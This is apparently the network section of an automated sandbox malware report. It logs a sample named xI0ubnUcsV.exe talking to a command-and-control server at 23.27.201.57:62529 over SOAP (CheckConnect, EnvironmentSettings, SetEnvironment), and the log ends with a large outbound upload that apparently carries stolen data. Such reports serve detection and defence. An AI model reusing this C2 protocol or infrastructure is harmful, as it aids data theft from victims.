Jan 26, 2025 08:22:20.151477098 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151485920 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151493073 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151525021 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151532888 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151540041 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151546955 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151554108 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151561975 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151576042 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151582956 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151601076 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151607990 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151616096 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151629925 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151637077 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151643991 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151680946 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151688099 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151694059 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151700974 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151710987 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151782036 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151788950 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151796103 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151803017 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151809931 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151825905 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151833057 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.151839972 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152643919 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152651072 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152699947 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152707100 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152717113 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152724981 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152750015 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152757883 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152833939 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152842045 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152848959 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152857065 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152908087 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152915955 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152923107 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152930021 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152945042 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152951002 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152992010 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.152998924 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153007030 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153021097 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153067112 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153074980 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153130054 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153137922 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153145075 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153152943 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153206110 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153213978 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153218031 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153225899 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153240919 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153249025 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153304100 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153311014 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153318882 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153327942 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153337002 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153345108 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153434038 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153441906 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153450012 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153456926 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153465033 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153472900 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153489113 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153496027 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153522968 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153531075 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153538942 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153546095 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153580904 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153588057 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153677940 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153686047 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153693914 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153702021 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153724909 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153732061 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153738976 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153747082 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153754950 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153790951 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153798103 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153804064 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153820038 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153826952 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153961897 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153970003 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153976917 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153984070 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.153990984 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154005051 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154012918 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154020071 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154026985 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154030085 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154045105 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154052973 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154114962 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154123068 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154186964 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154195070 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154197931 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154208899 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154216051 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154225111 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154244900 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154252052 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154257059 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154290915 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154298067 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154308081 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154468060 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154475927 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154483080 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154489994 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154498100 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154505014 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154519081 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154525995 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154534101 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154541016 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154547930 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154553890 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154561996 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154565096 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154578924 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154586077 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154603004 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154611111 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154618025 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154625893 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154633045 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154639959 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154655933 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154664040 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154700041 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154706955 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154721975 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154728889 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154761076 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154767990 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154817104 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154824972 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154833078 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154839993 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154855013 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154863119 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154877901 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154885054 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154931068 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154937983 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.154998064 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155004978 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155011892 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155019999 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155062914 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155070066 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155077934 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155085087 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155108929 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155116081 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155177116 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155184984 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155191898 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155199051 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155213118 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155220985 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155234098 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155241013 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155247927 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155257940 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155323029 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155347109 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155426025 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155433893 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155441046 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155450106 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155483007 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155491114 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155541897 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155549049 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155556917 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155560970 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155571938 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155575037 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155709982 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155716896 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155725002 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155731916 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155739069 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155745983 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155754089 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155761957 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155776024 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155782938 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155790091 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155798912 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155806065 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155812979 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155839920 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155847073 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155853033 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155859947 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155874968 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155881882 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.155998945 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156008005 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156019926 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156027079 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156029940 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156038046 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156045914 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156054020 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156069040 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156076908 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156115055 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156122923 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156133890 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156142950 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156191111 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156198025 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156205893 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156213045 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156220913 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156229973 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156236887 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156244040 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156275988 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156284094 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156291008 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156297922 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.156306982 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.203052998 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.386071920 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:20.436531067 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:21.902491093 CET	62529	49734	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:21.929862976 CET	49734	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:21.930527925 CET	49733	62529	192.168.2.4	23.27.201.57

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 26, 2025 08:22:14.889898062 CET	54997	53	192.168.2.4	1.1.1.1
Jan 26, 2025 08:22:14.896991968 CET	53	54997	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 26, 2025 08:22:14.889898062 CET	192.168.2.4	1.1.1.1	0xe0b0	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 26, 2025 08:22:14.896991968 CET	1.1.1.1	192.168.2.4	0xe0b0	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 26, 2025 08:22:14.896991968 CET	1.1.1.1	192.168.2.4	0xe0b0	No error (0)	api.ip.sb.cdn.cloudflare.net		172.67.75.172	A (IP address)	IN (0x0001)	false
Jan 26, 2025 08:22:14.896991968 CET	1.1.1.1	192.168.2.4	0xe0b0	No error (0)	api.ip.sb.cdn.cloudflare.net		104.26.12.31	A (IP address)	IN (0x0001)	false
Jan 26, 2025 08:22:14.896991968 CET	1.1.1.1	192.168.2.4	0xe0b0	No error (0)	api.ip.sb.cdn.cloudflare.net		104.26.13.31	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ip.sb

23.27.201.57:62529

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	23.27.201.57	62529	7420	C:\Users\user\Desktop\xI0ubnUcsV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 26, 2025 08:22:08.554395914 CET	239	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 23.27.201.57:62529 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Jan 26, 2025 08:22:09.328535080 CET	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sun, 26 Jan 2025 07:22:09 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Jan 26, 2025 08:22:14.394156933 CET	222	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 23.27.201.57:62529 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Jan 26, 2025 08:22:14.663055897 CET	25	IN	HTTP/1.1 100 Continue
Jan 26, 2025 08:22:14.841710091 CET	1236	IN	HTTP/1.1 200 OK Content-Length: 12510 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sun, 26 Jan 2025 07:22:14 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>10.200.169.204</b:string><b:string>104.198.155.173</b:string><b:string>104.200.151.35</b:string><b:string>109.145.173.169</b:string><b:string>109.226.37.172</b:string><b:string>109.74.154.90</b:string><b:string>109.74.154.91</b:string><b:string>109.74.154.92</b:string><b:string>140.228.21.36</b:string><b:string>149.88.111.79</b:string><b:string>154.61.71.50</b:string><b:string>154.61.71.51</b:string><b:string>172.105.89.202</b:string><b:string>174.7.32.199</b:string><b:string>176.63.4.179</b:string><b:string>178.239.165.70</b:string><b:string>181.214.153.11</b:string><b:string>185.220.101.107 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	23.27.201.57	62529	7420	C:\Users\user\Desktop\xI0ubnUcsV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 26, 2025 08:22:17.208620071 CET	220	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 23.27.201.57:62529 Content-Length: 933016 Expect: 100-continue Accept-Encoding: gzip, deflate
Jan 26, 2025 08:22:18.020530939 CET	25	IN	HTTP/1.1 100 Continue
